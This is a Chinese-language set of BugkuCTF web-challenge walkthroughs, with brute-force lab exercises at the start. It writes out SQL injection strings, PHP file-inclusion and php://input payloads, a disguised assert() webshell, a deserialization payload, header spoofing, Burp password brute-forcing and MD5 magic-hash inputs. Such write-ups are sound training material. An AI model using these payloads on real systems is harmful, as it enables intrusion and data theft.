文章目录
- BugkuCTF
- WEB 2
- 计算器
- web基础$_GET
- web基础$_POST
- 矛盾
- WEB 3
- 域名解析
- 你必须让他停下
- 本地包含
- 变量1
- web 5
- 头等舱
- 网站被黑
- 管理员系统
- WEB 4
- flag在index里
- 输入密码查看flag
- 点击一百万次
- 备份是个好习惯
- 成绩单
- 秋名山老司机
- 速度要快
- Cookie欺骗
- never give up
- welcome to bugkuctf
- 过狗一句话
- 字符?正则?
- 前女友(SKCTF)
- login1(SKCTF)
- 你从哪里来
- md5 collision(NUPT_CTF)
- 程序员本地网站
- 各种绕过
- Web 8
- 细心
- 求getshell
- INSERT INTO注入
- 这是一个神奇的登录框
- 多次
- 文件包含2
- flag.php
- sql注入 2
- 孙XX的博客
- Trim的日记本
- Bugku CTF login2(SKCTF)
- login3(SKCTF)
- 文件上传2(湖湘杯)
- 江湖魔头
- login4
- Web进阶
- 代码审计
- strcmp比较字符串
- urldecode二次编码绕过
- sha()函数比较绕过
- md5加密相等绕过
- 十六进制与数字比较
- 变量覆盖
- ereg正则%00截断
- strpos数组绕过
- 数字验证正则绕过
- 简单的waf
- 数字验证正则绕过
- 简单的waf
MD5解密
复制TVRjMU9UYz0=
进行MD5解密
复制MTc1OTc=再次进行解密
复制这5位数,填入输入框
输入长度限制
只能输入一个字符
F12查看,发现maxlength限制长度1
更改长度,输入大于1778的数
进行验证
绕过第一个if判断
查看代码,发现第二个if必须是输入的数字是1才能执行echo输出flag
输入?num=1,页面没有响应
发现第一个if是!is_numeric,所以输入带上字符的1,比如1"等等
这样就成功返回
解释:因为输入1"第一个if判断不是数字,不执行echo $num,代码向下走,在进行if判断,这里的if判断1"在程序运行时这里的判断不管1后面有没有字符都会当做1来执行,所以成功输出flag
正则匹配
payloa:?key=keykeykeykeykeykeykey:///keyx":i
查看代码
发现正则,然后进行匹配
/key 代表一个key
.* 代表一个或多个
. 代表一个
{4,7} 代表最少4个最多起个
key 一个
/./ 转义中间的.代表一个///
.*key 一个或者多个
[a-z] a-z中任意一个字母
[[:punct:]] 任意一个英文字符
/i 一个i
得出结果输入,成功返回
数组绕过
Payload:?number1[]=1&number2[]=2
查看代码
进行分析代码
需要让第一个判断错误,然后进行下一个判断,md5不能加密数组,所以这里要传一个空数组
输入上面的Payload,成功返回
堆叠注入
查看原页面
在POST框输入1查看返回什么内容
使用show database查看所有数据库
查看一下表试一下,返回了,Flag表,发现存在堆叠注入
查看PHP代码
可以看到上面的提交语句是这样的这是一种非预期解的方法:
$sql = "select ".$post[‘query‘]."||flag from Flag";
当我们输入1后进行拼接后的语句就是这样的了
select *,1||flag from Flag
预期解通过堆叠注入将sql_mode的值设置为PIPES_AS_CONCAT,从而将 || 视为字符串的连接操作符而非或运算符。
payload:query=1;set sql_mode=PIPES_AS_CONCAT;select 1
将||或运算变成连接符后就得到了一下内容
select *,1,flag from Flag";
暴力破解
查看原页面
使用admin和admin尝试进行登录。
返回错误,说用户名和密码不存在。
这样一个一个的尝试效率太慢了,我们使用burpsuit进行抓包
先随机输入密码,进行抓包
将信息发送到intruder模块进行clear , 然 后 选 中 p a s s w o r d 中 的 值 将 其 A d d ,然后选中password中的值将其Add ,然后选中password中的值将其Add
进入Payload子模块,进行载入字典爆破。
查看字典中的弱口令
在Plyload Options [Simple list]中的load…选中password字典
进行Start attack发动攻击
得出密码是123456
在页面中输入这个密码,查看是否能够登陆成功
登陆成功。
暴力破解验证码绕过
原页面
进行一次登陆试试上面已经知道密码是123456了所以我们现在假装不知道进行绕过
这里我们输入的是admin,admin
我们进行抓包,将包发送到Repeater模块进行尝试登陆
点击Go,得到源码,然后右键选中browser,复制网页地址。
Copy之后在网页打开试试
显示登陆失败,验证码也变化了
我们将Repeater中得包信息发送到Intruder模块
将验证码改为当前页面的正确验证码,将字典中的弱口令导入,发动攻击
得出密码:123456
在页面中使用改密码登录
登陆成功
绕过前端验证暴力破解
还是使用admin和123登录,然后进行抓包,使用弱口令进行爆破
得出123456密码
如果我们将抓包里面的验证码更改一下试试
进行发动攻击,还是出来了,说明验证码只是进行了前端验证
在页面中使用密码登录或者在burp中复制然后打开
登陆成功
BugkuCTF
WEB 2
打开地址查看页面
页面只有表情,没有任何东西
按F12查看一下源代码
发现源代码将flag注释了,我们复制提交就可以。
计算器
打开网址
原页面,发现有公式输入框,按照将加法的结果写进去试试
74+14=88,发现只能输入一个数字,说明进行了字符长度限制
F12查看代码,可以看到这里做了字符长度限制,只能输入一个字符。
将1改为多位数,再次输入正确数值88
成功显示flag,复制提交就可以。
web基础$_GET
打开网址
打开网址,查看页面
可以看到GET输入,当$what=flag输出flag
我们在URL中输入flag,复制提交就可以。
web基础$_POST
打开网址
查看页面,可以看到是Post提交,提交方式和Get一样
在POST中提交
矛盾
打开网页
查看页面
可以看到只要是不是数字,而且等于1就可以
这里不管1后面加什么都以,但不能在1的前面加。
WEB 3
打开网址
查看页面,发现一直返回这两个弹框
按F12 查看源码
发现一串HTML代码,复制进行解码
解码之后得到Key值,复制直接提交
域名解析
这里就是要配置host配置文件,将flag.baidu.com 解析到123.206.87.240然后在网页中访问
修改hosts文件,路径为C:\Windows\System32\drivers\etc\hosts
最底下添加:120.24.86.145 flag.bugku.com 保存 访问即可
在页面中打开
成功获取key值
还有一种方法就是使用burp抓包添加HOST请求
直接复制提交就ok,这两种方法都可以。
你必须让他停下
打开网址
查看
查看原始页面。这是我已经刷新好几次抓到的,刚进去可能没有图片,页面会一直刷新
因为一直刷新所以源码也跟着刷新,根本没机会,所以就可以使用burp进行抓包。
让页面随机运行一次然后抓包。
抓完包发送到Repeater模块中,点击Go一直点击,直到出来flag值
或者按F12,然后将burp放旁边只要一出现flag立马打开Intercept is on进行抓包,让页面停止运行,这一种看你反应。
复制flag提交就可以
本地包含
打开网址
查看源码
有好几种方法
在POST区域:f=php://filter/convert.base64-encode/resource=flag.php
php://filter/convert.base64-encode/rescoure=flag.php
会获得base64的加密内容,复制进行解密就可以
还有一种方法直接将flag.php文件读入变量hello中
?hello=get_file_contents('flag.php')
?hello=file('flag.php')
变量1
打开网址
打开页面得到以下代码
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)) // /^开始, \w表示任意一个单词字符,即[a-zA-Z0-9_] ,+将前面的字符匹配一次或多次,$/结尾
{
die("args error!");
}
eval("var_dump($$args);"); //var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
}
?>
代码审计,这里需要知道一个知识点可变变量
可变变量是一种独特的变量,它允许动态改变一个变量名称。其原理是变量的名称由另外一个变量的值来确定,即一个可变变量获取了一个普通变量的值作为这个可变变量的变量名,实现过程是在变量前面多加美元符号 “$”
我们的目标是得到flag,由于代码含有正则匹配,文件上传、本地包含等漏洞不能用,而PHP中$GLOBALS[index] 的数组中存储了所有全局变量
复制提交
web 5
打开网址
原始页面,随便提交以下数字试试,发现不行
查看一下源码,发现有一大堆这种JSFUCK代码,
复制这些代码,放到控制台中执行,不要忘记复制上去按回车
记住字母要大写,这里给你显示的小写字母,要将字母转换为大写,在你打开前输入flag的地方已经提示了,字母要大写
返回正常,说明正确,复制这个大写字母的flag在BugkuCFT提交
头等舱
打开网址
原始页面,发现真的是什么也没有
使用burp抓一下包试试,发送到Repeater,发现flag在请求头中,复制提交。
网站被黑
打开页面
原始页面
进去之后没什么特别的提示
但题目说了 实战 经常遇到
所以 直接 御剑 跑一下
点击上面的shell.php,会进入一个后台界面,让我们输入密码
可是我们并不知道密码是多少,所以使用暴力破解,如果一个一个的去试太麻烦了,而且想到的数量太少了,所以使用burp进行抓包。
现在输入框中随机输入内容,这里我输入的是123,然后打开burp点击网页的登录,进行抓包,不要忘记将Intercept is on打开
右键,将其发送到intruder模块
现将123 Clear 掉 , 然 后 选 中 123 再 A d d 掉,然后选中123再Add 掉,然后选中123再Add一下
单击Payloads子模块
选中burp自带的字典,Add from list…选中Passwords,点击Start attack,进行爆破密码
爆破完成后,可以看到密码是hack
在页面提交hack,成功返回flag,复制flag提交
管理员系统
打开网址
原始页面
查看源代码,可以看到有一个base64加密的密文,解密之后得到test123
因为i管理员系统,账号肯定是admin,密码已经解密出来了是test123
输入提交,发现并没有返回对应的flag,而是说IP禁止访问,请联系本地管理员登录,IP被记录,这说明需要伪造本地IP进行访问
先输入账号密码,,然后使用burp抓包发送到Repeater模块
加入X-Forwarded-For:127.0.0.1
伪造IP,点击GO成功返回flag,复制提交即可
WEB 4
打开网址,
题目提醒了要查看源代码,可以看到好多URL编码
先复制p1 和 p2的url,将没用的删去
这里可以看到unescape中的url编码在p1和p2之间,所以将他里面的url放中间,先将p1,p2分隔开防止弄乱,再加入unescape中的url,这里面的单引号全都要删除,还有分号什么的,只要与url编码无关的全都删除
将多余的空格删除,然后进行解码得到flag,提交,提交时候要加上flag{}将值放到花括号中
flag在index里
打开网址
查看原始页面
点进click me?no看看,可以看到 test5是show.php中的信息,结合题目给的信息说flag在index中也就是index.php中
构造任意读取文件的payload:php://filter/read=convert.base64-encode/resource=index.php
。
后面还有很多,复制进行base64解码,将没用的删除
php://filter
使我们常用的一种伪协议在任意文件读取,甚至getshell的时候都有利用的机会。这里就是用的任意读取文件
read=<读链的筛选列表>
该参数可选。可以设定一个或多个过滤器名称
这里读的过滤器为convert.base64-encode
,就和字面上的意思一样,把输入流base64-encode
。
resource=index.php
,代表读取index.php的内容
关于convert.*
过滤器,可以访问一下网址有详细讲解
https://www.php.net/manual/zh/filters.convert.php
这个刚才页面显示的base64加密的密文
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
我们将其解密得到以下内容,可以看到flag就在其中,复制提交即可
<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
输入密码查看flag
打开网址
查看原始页面,可以看到底下说输入5位数密码查看
因为是输入密码的,我们直接来爆破试试,先试用burp抓包,发送的Intruder模块进行爆破
先Clear 在 A d d 在Add 在Add然后选中Payload子模块进行输入爆破数据
将Payload type改为Number类型,因为是5位数所以从10000开始,先到20000看看能否爆破出来
点击start attack进行攻击,发现成功爆破。
将密码输入,然后返回了flag,进行提交就可以
点击一百万次
打开网址
查看原始页面
点击一下曲奇饼,发现数字变成了1
按F12查看源码
可以看到是以POST传输的,发现了clicks变量,当它为1000000应该能得到flag
就在POST中输入clicks=1000000
备份是个好习惯
打开网址
查看原始页面
可以看到是MD5加密的,我们进行解密
解密返回是空密码,说明不正确
他题目是备份,我们使用御剑来进行扫描一下
有一个.bak后缀的网址,双击打开
得到了一下代码
乱码不用管因为编码不同,那里是中文字体无碍。
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
// 将$str里的key替换为空字符。
$str = str_replace('key','',$str);
// 将字符串解析到变量
parse_str($str);
//输出MD5加密的key1、key2
echo md5($key1);
echo md5($key2);
// 两个值进行判断,如果加密的值相同和未加密的值不同输出flag
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."鍙栧緱flag";
}
?>
可以看到其中用到了$str = str_replace('key','',$str);
中的str_replac()
函数,按照这串代码得出将$str中得’key’替换为空字符,我们可以使用双写绕过kkeyey
下面代码的意思就
这里就可以使用数组绕过
构造payload:?kkeyey1[]=1&kkeyey2[]=2
复制结果进行提交。
成绩单
打开网页
原始页面,挡在输入框输入1时返回的结果
输入2返回的结果
按F12查看源码
很明显这是POST注入,name是id
这里可以手注或者使用sqlmap来跑
这里都使用一次,先是手注
我们先进行报错尝试,使用万能单引号看看是否报错
页面没有返回信息说明错误
加上–+试试,发现页面还是错误。
可能是因为注释符的原因,更改成#试试,果然页面成功返回正常
使用order by查看字段数当字段等于4的时候返回正常,等于5的时候页面没有返回值
union联合查询查看可注入的字段数,要先将id=1‘改为其他的例如:id=-1‘让其报错,不然只会返回正常值,不会显示注入点,当然改成什么都行只要是错误的就可以。
可以看到,2,3,4这三个都可以注入,查看当前数据库或者查看数据库版本
我们在4的位置上进行注入。
payload:union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#
返回了两个表名fl4g、sc
flag肯定在fl4g中,一看就知道,查看fl4g中的字段
Payload:id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#
返回了skctf_flag
字段名。
查看字段中的数据
Payload:id=-1' union select 1,2,3,group_concat( skctf_flag) from fl4g#
成功返回flag,复制提交即可
秋名山老司机
打开网页
原始页面。每次刷新页面的值都不同
他让2秒内计算出那是不可能的,只能上脚本了
# 模块
import requests
import re
# 网站
url = 'http://123.206.87.240:8002/qiumingshan/'
# 会话保持
s = requests.Session()
# 打开url
source = s.get(url)
#正则表达式,匹配算术计算source.text意思就是将网页信息存储到text中
s_tr = re.search('(\d+[+\-*])+(\d+)', source.text).group()
# 将字符串s_tr当成有效的表达式来求值并返回计算结果
result = eval(s_tr)
# 这里可以理解为设立分界线冒号
post = {'value': result}
# 以post请求输出文本
print(s.post(url, data = post).text)
得到flag,因为是一直变化的,所以有可能运行好几次都不返回值,多运行两次就OK。
速度要快
打开网址
查看页面
使用burp进行抓包,这并不是真正地flag,每次刷新都会改变,所以就可以判断他是要在规定时间内算出来,所以就要写一个脚本
代码如下
# 模块
import requests
import base64
# 地址
url='http://123.206.87.240:8002/web6/'
# 会话维持
s=requests.Session()
# 打开网址和headers请求头
header = s.get(url).headers
print(header)
# 对其进行base64两次解密
# split() 通过指定分隔符对字符串进行切片
# encode()指定的编码格式编码字符串
flag = base64.b64decode(base64.b64decode(header['flag']).decode().split(':')[1]).decode()
data={'margin':flag}
# 输出
print(s.post(url,data).text)
运行得出flag,复制进行提交
如果感觉太乱了可以吧get(url)下的print注销掉
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-78sH8Xkh-1596115258137)(C:\Users\状元\AppData\Roaming\Typora\typora-user-images\image-20200526211612820.png)]
Cookie欺骗
打开网页
查看页面,返回了一堆不知道是啥玩意的字母,但是可以看到URL中有base64的加密密文。复制进行解码
解密之后返回了keys.txt
仿照一下之前的格式,尝试一下将index.php进行加密,并且line=1,这是加密后的index.php
复制在页面中更改相对应的值,返回了一个error_reporting(0);(错误报告),将line改为2试试。
发现返回代码了,因为每次只能返回一个,所以我们要写一个脚本,让他全部输出
使用py写一个脚本,内容如下
# 模块
import requests
# 定义一个空字符
s = ''
# 因为之前够早的line每次更改数字都变,所以这里让其循环20直接全部输出
for i in range(0,20):
# 在line处加上for循环的i进行每次变更数字
url = 'http://123.206.87.240:8002/web11/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
# 打开url
s = requests.get(url)
# 进行输出
print (s.text)
运行之后得到的结果,可以看到Cookie需要等于margin才能输出,所以需要进行伪造Cookie
将页面返回到原始的界面,也就是加密的keys.txt的界面
进行抓包,发送到Repeater模块,在其中伪造Cookie然后GO一下,发现成功返回了flag,复制提交即可
never give up
打开页面
查看原页面
F12查看源码,看到有一个1p.html,访问一下。
http://123.206.87.240:8006/test/1p.html
,访问这个网址发现返回了这个,说明刚才那个网址进行了重定向
使用view-source:123.206.87.240:8006/test/1p.html
查看1p.html的源代码,看到有URL编码和base64编码
"%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
先不管是什么编码,因为当中有 URL编码,直接全部复制,进行URL解码,base64编码因为不是相同编码不会进行编译。
将base64的的代码复制进行解密,发现又返回了URL编码,复制URL编码再次去URL解密
URL解密之后获得了以下的值
"<script>window.location.href='http://www.bugku.com';</script>
<!--";
# 判断id是否为空和0
if(!$_GET['id'])
{
# 如果id为空,则我们看到URL加上hello.php?id=1
header('Location: hello.php?id=1');
# 退出
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
# 判断a变量中.第一次出现的位置,只有当a没有.的时候才能不执行if里面的语句
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
# 读取变量a
$data = @file_get_contents($a,'r');
# 进行判断,当data等于bugku is a nice plateform!,当id等于0,当b>5,当111等于1114,b的第一个字符不等于4
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
-->"
- 限制 URL 查询字符串中必须有非空非零变量
id
- 限制变量
$a
中不能含有字符.
- 要满足以下 5 条表达式才会爆 flag:
- 变量
$data
弱等于字符串bugku is a nice plateform!
- 变量
$id
弱等于整型数 0 - 变量
$b
的长度大于 5 - 字符串
1114
要与字符串111
连接变量$b
的第一个字符构成的正则表达式匹配 - 变量
$b
的第一个字符弱不等于整型数 4
- 变量
可以看到,代码中已经爆出来了flag文件,所以可以直接访问flag文件。
也可以构造Payload:?id=.&a=php://input&b=.123456
,post:data=bugku is a nice plateform!
首先是id弱类型,如图,只要将id赋值为任意字符串解释器就会判定其与0相等为TRUE
先直接访问flag文件,直接复制粘贴
构造的网址,返回了flag
welcome to bugkuctf
打开网址
查看原始界面
F12查看一下源码
很显然想让我们利用源码去得到flag。这里我们稍微解释下这个源码的意思。
开始有三个变量:user,file,pass,但是我们发现这里的pass也就是password没有什么用,因为代码里面虽然定义了这个变量但是并没有使用到。所以我们重点关注前两个变量。看下面的条件
(1)if(isset($user))
这个isset()函数是判断$user这个变量的是否存在,user变量不能为空
(2)(file_ get_ contents ($user,' r' )===" welcome to the bugkuctf"))
file_get_contents是把整个文件读入字符串中,这里也就是把user这个变量(user显然要是一个文件)的内容以字符串的方式读出来并且要和“welcome to the bugkuctf”完全相等(类型,内容)。
(3)include($file); // hint.php
所以我们要在满足条件之后读取file=hint.php。
知道了以上的三个条件后我们就可以做第一步了,就是如何满足他们的条件!?
这里就要使用php伪协议了。这道题目为了解决第二个条件,要用到 “php://input”协议。大致的意思是让 txt=php://input ,之后在post过去一个字符串.
php伪协议介绍
php://input
构造场景:本地web服务器根目录下有文件phpinput_server.php,
<?php
$a = $_GET['a'];
$raw_post_data = file_get_contents($a,'r');//'php://input'
echo $raw_post_data;
?>
在浏览器中按照如下方式访问:
post框直接输入一段数据
excute后,脚本会在页面中输出这段数据。
此种方式可以用来获取post数据,但不能获取get数据。
具体介绍查看:https://www.cnblogs.com/yinqin/articles/4088589.html
当传进去的参数作为文件名变量去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取
简单来说就是将指定字符串作为文件传给txt,然后再将user的内容读出来。此时我们就满足了
这样就满足了(file_ get_ contents ($user,' r' )===" welcome to the bugkuctf"))
然后我们得到了
此时根据提示我们可以把包含的文件读出来了,这里要用到php的第二个伪协议:php://filter
即txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php
(简单来说就是利用伪协议读取所包含文件的base64值)
复制base64加密的内容进行解码,得到以下内容
#hint.php
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
之后可以继续利用伪协议读取一下index.php源码
#index.php
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
(1)在hint.php中我们看到了class Flag{//flag.php
,所以我们把index.php改成flag.php看看会有什么结果,发现
居然返回了乱码,看到之前的源码可以知道这是index.php
中的echo "不能现在就给你flag哦";
所以不能直接flag.php
。
在index我们看到,这个意思是file中如果包含‘flag’,那么就会给你退出。
所以我们要想其他办法读flag.php
我们往下看可以看到
这个else写到如果我的file不包含‘flag’,那么我就会把那个文件包含进来,之后将password反序列化一下。并输出password的结果。
else{
include($file);
$password = unserialize($password);
echo $password;
}
而我们根据上面的hint.php发现,
#hint.php
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
我们发现当Flag方法当做字符串执行时,会自动执行 __tostring 方法,方法中写了如果file文件存在,那么就输出file文件中的内容。
这不正是我们要解决的输出flag.php内容的情况吗???
所以我们要构造一个Flag类型的参数,并把这个参数传给password然后get进去。并且这个file的值要是hint.php(因为要利用hint.php中的函数),即:——根据php序列化的结果
<?php
class Flag{
public $file;
}
$a = new Flag();
$a->file = "flag.php";
$a = serialize($a);
print_r($a);
?>
得到: O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;} 传入
得到
过狗一句话
打开网址
查看原始页面
可以看到题目中给的提示
使用explode函数将poc变量里的#进行截断,然后将分离出来的值放到数组中,得到assert
exlpde()分割a#s#s#e#r#t 为 assert
用assert函数来解析传进来的字符,assert有代码执行漏洞。
<?php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
?>
构造Payload:http://123.206.87.240:8010/?s=print_r(scandir('./'))
可以看到里面有f94lag.txt文件,在url中添加改文件
字符?正则?
打开页面
查看源页面,可以看到有正则匹配然后构造Payload:keykeykeykeykeykeykeykeykeykey:///keykeykeyx"i
成功返回KEY值
前女友(SKCTF)
打开网址
查看原始页面
点击链接这两个字。
发现一段代码
里面有MD5,MD5是不能处理数组的,所以构造Payload:v1[]=1&v2[]=2&v3[]=3
,然后返回flag
login1(SKCTF)
打开网址,可以看到题目提示SQL注入约束攻击
SQL约束攻击:在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。
我们尝试了暴力破解等,发现并不能破解出来,我们知道像这种管理后台用户名是admin毋庸置疑,所以利用SQL约束攻击的特性进行攻击,注册用户
更改了Type让其显示输入的密码,点击注册
返回了注册成功,等两秒就会返回登录界面
在登录界面输入刚才注册的用户名和密码,成功返回。
你从哪里来
打开网址
返回了 Are you from google?(你是谷歌的吗?)
到这就可以看出,上面是需要我们伪造一下链接Referer
Payload:https://www.google.com
你是无法在页面中更改的,所以使用burp抓包,然后发送的Repeater中进行更改运行。
成功返回flag,复制提交就ok
md5 collision(NUPT_CTF)
打开网址
原始页面,让其输入a,我们输入?a=1查看返会结果
返回false说明错误。这里已经已经看过了burp抓包和F12了,什么都没有。
当我看看题目的时候发现题目是MD5碰撞,我们百度一下什么是MD5碰撞
解释是:
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。
原文链接:https://blog.csdn.net/qq_30464257/article/details/81432446
其中常见的MD5碰撞
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
以上的MD5碰撞哪一个都行,所以我们只要随便复制一个就可以。复制提交就可以。
程序员本地网站
打开网址
显示原始页面
显示从本地访问,这样肯明显就需伪造一下IP,当然想要我在IP的话就需要用burp进行抓包修改运行
将抓取的数据包发送到Repeter模块,在其中加入X-Forwarded-for:127.0.0.1
这样就成功显示flag了,直接复制提交就OK
各种绕过
打开网址
查看原始页面
从以上代码分析,可以看到几条有用的信息
1、使 uname的sha1值 与 passwd的sha1的值 相等
2、但是同时 uname 和 passwd两个的值又不能相等
3、id == “margin”
解决办法
1、GTE输入的有uname和id,POST输出的是passwd
2、把 uname 和 passwd定义成数组,数组的哈希值相同
3、id等于margin
在页面中输入,复制提交即可
Web 8
打开网址
原始页面,代码审计
题目上显示txt????,尝试访问flag.txt看看
返回了内容flags。对代码进行分析
a c = = = ac=== ac===f,结合其他代码说明 f 是 文 件 名 , f是文件名, f是文件名,ac是文件内容,只有这样他们才能全等于
这样就在URL中构造payload
还有一种方法。
1、ac不能为空
2、f的值从fn中获取的
3、ac的值要全等于f
构造payload?ac=123&fn=php://input,,,,[PSOT]123
细心
打开网址
查看原始页面,可以发现是404页面,显示错误。因为是直接显示错误,抓包什么的没有任何有用的内容
使用御剑扫描一下发现了这两个网站,第2个因为是index.php结尾,就是我们的初始访问的404页面所以无用,那就是第一个了
访问第一个网站,这是初始界面,可以看到给了一个resusl.php的文件,尝试访问一下。
居然进入到了后台,可以看到屏幕中显示你不是管理员你的IP已经被记录到日志了。
卧槽,被记录了,但是在左下角有一串代码,而且题目给的提示是:想办法变成admin,尝试一下?x=admin
试试,看看能否访问
发现成功访问了,复制提交即可。
求getshell
打开网页
